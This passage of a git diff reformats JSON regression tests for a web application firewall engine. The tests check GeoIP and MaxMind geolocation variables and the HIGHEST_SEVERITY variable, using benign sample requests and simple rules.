"body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_CODE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"US\" \\(Variable: GEO:COUNTRY_CODE\\)" + "expected": { + "debug_log": "Target value: \"US\" \\(Variable: GEO:COUNTRY_CODE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:COUNTRY_CONTINENT [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_CONTINENT [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"NA\" \\(Variable: GEO:COUNTRY_CONTINENT\\)" + "expected": { + "debug_log": "Target value: \"NA\" \\(Variable: GEO:COUNTRY_CONTINENT\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:AREA_CODE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:AREA_CODE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"310\" \\(Variable: GEO:AREA_CODE\\)" + "expected": { + "debug_log": "Target value: \"310\" \\(Variable: GEO:AREA_CODE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:DMA_CODE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:DMA_CODE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"803\" \\(Variable: GEO:DMA_CODE\\)" + "expected": { + "debug_log": "Target value: \"803\" \\(Variable: GEO:DMA_CODE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:POSTAL_CODE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:POSTAL_CODE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"90245\" \\(Variable: GEO:POSTAL_CODE\\)" + "expected": { + "debug_log": "Target value: \"90245\" \\(Variable: GEO:POSTAL_CODE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:REGION [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:REGION [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"California\" \\(Variable: GEO:REGION\\)" + "expected": { + "debug_log": "Target value: \"California\" \\(Variable: GEO:REGION\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:CITY [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:CITY [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"El Segundo\" \\(Variable: GEO:CITY\\)" + "expected": { + "debug_log": "Target value: \"El Segundo\" \\(Variable: GEO:CITY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:LONGITUDE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:LONGITUDE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"-118.403999\" \\(Variable: GEO:LONGITUDE\\)" + "expected": { + "debug_log": "Target value: \"-118.403999\" \\(Variable: GEO:LONGITUDE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:COUNTRY_NAME [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_NAME [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Brazil\" \\(Variable: GEO:COUNTRY_NAME\\)" + "expected": { + "debug_log": "Target value: \"Brazil\" \\(Variable: GEO:COUNTRY_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:LATITUDE [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:LATITUDE [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"-8.051502\" \\(Variable: GEO:LATITUDE\\)" + "expected": { + "debug_log": "Target value: \"-8.051502\" \\(Variable: GEO:LATITUDE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:COUNTRY_CODE [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_CODE [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"BR\" \\(Variable: GEO:COUNTRY_CODE\\)" + "expected": { + "debug_log": "Target value: \"BR\" \\(Variable: GEO:COUNTRY_CODE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:COUNTRY_CONTINENT [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_CONTINENT [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"South America\" \\(Variable: GEO:COUNTRY_CONTINENT\\)" + "expected": { + "debug_log": "Target value: \"South America\" \\(Variable: GEO:COUNTRY_CONTINENT\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:POSTAL_CODE [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:POSTAL_CODE [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"50040090\" \\(Variable: GEO:POSTAL_CODE\\)" + "expected": { + "debug_log": "Target value: \"50040090\" \\(Variable: GEO:POSTAL_CODE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:CITY [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:CITY [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Recife\" \\(Variable: GEO:CITY\\)" + "expected": { + "debug_log": "Target value: \"Recife\" \\(Variable: GEO:CITY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] } - ] - diff --git a/test/test-cases/regression/variable-HIGHEST_SEVERITY.json b/test/test-cases/regression/variable-HIGHEST_SEVERITY.json index 7da62133f9..c39f823aef 100644 --- a/test/test-cases/regression/variable-HIGHEST_SEVERITY.json +++ b/test/test-cases/regression/variable-HIGHEST_SEVERITY.json @@ -1,83 +1,94 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: HIGHEST_SEVERITY (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: HIGHEST_SEVERITY (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: HIGHEST_SEVERITY\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: HIGHEST_SEVERITY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_ADDR \"@contains 200.249\" \"id:1,pass,t:trim,severity:0\"", "SecRule HIGHEST_SEVERITY \"@lt 10\" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: HIGHEST_SEVERITY (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: HIGHEST_SEVERITY (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: HIGHEST_SEVERITY\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: HIGHEST_SEVERITY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_ADDR \"@contains 200.249\" \"id:1,pass,t:trim,severity:EMERGENCY\"", "SecRule HIGHEST_SEVERITY \"@lt 10\" \"id:2,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-INBOUND_DATA_ERROR.json b/test/test-cases/regression/variable-INBOUND_DATA_ERROR.json index e66a1647b8..7ce5bc36f6 100644 --- a/test/test-cases/regression/variable-INBOUND_DATA_ERROR.json +++ b/test/test-cases/regression/variable-INBOUND_DATA_ERROR.json @@ -1,102 +1,109 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: INBOUND_DATA_ERROR (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: INBOUND_DATA_ERROR (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + 